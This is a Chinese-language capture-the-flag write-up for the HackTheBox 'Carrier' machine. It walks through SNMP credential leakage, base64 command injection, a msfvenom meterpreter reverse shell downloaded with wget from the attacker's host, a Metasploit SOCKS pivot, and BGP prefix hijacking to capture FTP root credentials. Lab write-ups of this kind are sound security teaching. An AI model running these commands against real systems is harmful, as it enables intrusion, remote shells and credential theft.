前言

大家好,我是成都B1ngDa0,今天给大家带来HTB(hackthebox)的一个靶机:Carrier的writeup,作为一篇自己回顾整理知识点以及分享给大家的文章,还望斧正。

本文涉及知识点:

SNMP弱口令public泄露

Python本地服务器搭建

命令执行绕过

MSF结合NMAP进行内网扫描

BGP前缀劫持

实战

Carrier靶机地址: https://www.hackthebox.eu/home/machines/profile/155

目标IP: 10.10.10.105(Linux)

本机IP: 10.10.14.3(Kali)

目标:获取user.txt以及root.txt(分别为获取目标的普通用户权限以及管理员权限)

信息收集

NMAP端口扫描

首先使用NMAP对目标进行端口扫描,以确定下一步的操作:

nmap -sC -sV -oA Carrier 10.10.10.105 #通过默认脚本扫描获取版本并导出为文件

nmap -sU -sV -oA test 10.10.10.105 #通过udp扫描获取版本并导出为文件

得知21、80、161端口开放,且161端口SNMP共同体pulic开启

因为是靶机渗透,所以账号爆破的操作不被优先考虑。

对网页进行访问获取更多信息:

只有一个登陆框以及两个错误代码。

进行目录爆破:

获得/doc/文件下的

网络拓扑图:

以及网站系统错误代码文档:

得知:网站使用默认的用户名admin以及密码序列号,我们访问的网页处于AS100机器中,AS200有FTP服务,AS300进行FTP连接操作。

没有发现其他有用信息,接下来进行161端口的SNMP弱口令pulic的利用:

所需工具:snmpwalk

snmpwalk -v 1 -c public 10.10.10.105 # -v指定协议版本 -c 指定共同体字符串

获得密码NET_45JDX23

利用凭据登录

得知:10.120.15.0/24网段中存在FTP服务

可在diag.php页面进行命令执行。

## 获取USER权限

使用burpsuite对diag页面数据进行抓取

命令参数为check,为base64编码,解码为quagga 与页面显示结果符合。

直接将简单的Linux命令进行base64编码并代入参数,发现页面返回空白

测试最简单的命令绕过:

1
cXVhZ2dhIHwgbHM=    #quagga | ls

执行成功可以看到user.txt已经躺着那里了,user.txt目标完成

获取ROOT权限

已知信息:

目前为root权限但并不是目标主机10.10.10.105的root,目前我们处于网络拓扑图中的AS100主机

为了更详细方便的获取信息,使用msfvenom生成elf文件进行反弹shell至msf上.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=3333 -f elf > shell.elf #使用linux/x86/meterpreter/reverse_tcp payload,将shell反弹至10.10.14.3的3333端口,生成之后使用python2中的SimpleHTTPServer模块进行快速搭建http服务

在命令执行的地方获取并执行:

1
2
wget http://10.10.14.3:8000/shell.elf
chmod 777 shell.elf

在本地msf监听3333端口:

1
2
3
4
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 10.10.14.3
set LPORT 3333

在目标机执行./shell.elf

命令执行处较为麻烦就不进行截图了

成功获得反弹shell:

接下来需要对目标的网络环境进行详细查探:

添加路由:

1
2
use post/multi/manage/autoroute
set session 1

可以看到网络很复杂并且没有目标ip。

route中的ip将通过session 1进行访问

接下来设置SOCKS代理

1
2
3
use auxiliary/server/socks4a
set srvport 1090
run -j

成功设置后

我们将通过proxychains包 进行代理

1
apt-get install proxychains

未安装可使用以上命令进行安装

编辑/etc/proxychains.conf 进行配置

1
vi /etc/proxychains.conf

添加以下内容:

1
2
3
4
5
[ProxyList]
#add proxy here ...
#meanwile
#defaults set to "tor"
socks4 127.0.0.1 1090

配置成功,在终端运行proxychains [工具] 将使用代理运行。

1
proxychains nmap -sT -Pn 10.120.15.0/24 -p 21,22,23,25,80,443,445,3389,8000,8080

使用nmap扫描10.120.15网段中开启的关键端口

发现10.120.15.10开放FTP服务

未获取其他有效信息,现在查看之前已控制主机的网络

netstat -pantu

有bgp服务的2601端口开放,根据之前得到的信息,我们现在需要进行BGP劫持获得AS200(10.120.15.10) FTP尝试登陆的账号密码

思路:通过修改bgp路由欺骗AS200将数据传输至已控主机。

在已控主机中依次运行以下命令

路由伪造:

1
2
3
4
5
6
vtysh
config terminal
router bgp 100
network 10.120.15.0/32
end
exit

IP伪造:

1
ip address add 10.120.15.10/24 dev eth2

现在10.120.15.10已经将数据源源不断的传至已控主机

为了获得FTP登陆的数据,我们可在已控主机搭建FTP服务

使用以下FTP脚本:

代码较冗长,我已上传至Github:

https://github.com/b1ngda0/FtpServicePython/

运行后可以看到已经获取到账号root以及登陆密码

使用ssh进行登录

已经获取root权限以及root.txt

渗透完成!

个人感悟

文中的bgp劫持类似于arp欺骗,靶机环境为一个网关两台路由器,一台路由器连接一台服务器,服务器接收到消息后先找路由器,我们通过路由伪造,使两台路由器地址一样,又进行了IP伪造,使IP离AS200近,于是AS200将数据传输至已控主机,此时我们使用ftp脚本获取或者进行tcpdump抓包就可以获取数据。

文献参考

snmap弱口令:

https://blog.csdn.net/archersaber39/article/details/78932252

msf代理设置nmap扫描:

https://blog.csdn.net/h4ck0ne/article/details/50570749

http://www.blackhillsinfosec.com/use-nmap-meterpreter

bgp劫持:

https://en.wikipedia.org/wiki/BGP_hijacking

https://www.isi.deterlab.net/file.php?file=/share/shared/BGPhijacking

https://github.com/mininet/mininet/wiki/BGP-Path-Hijacking-Attack-Demo

http://cs.slu.edu/~espositof/teaching/4650/lab3/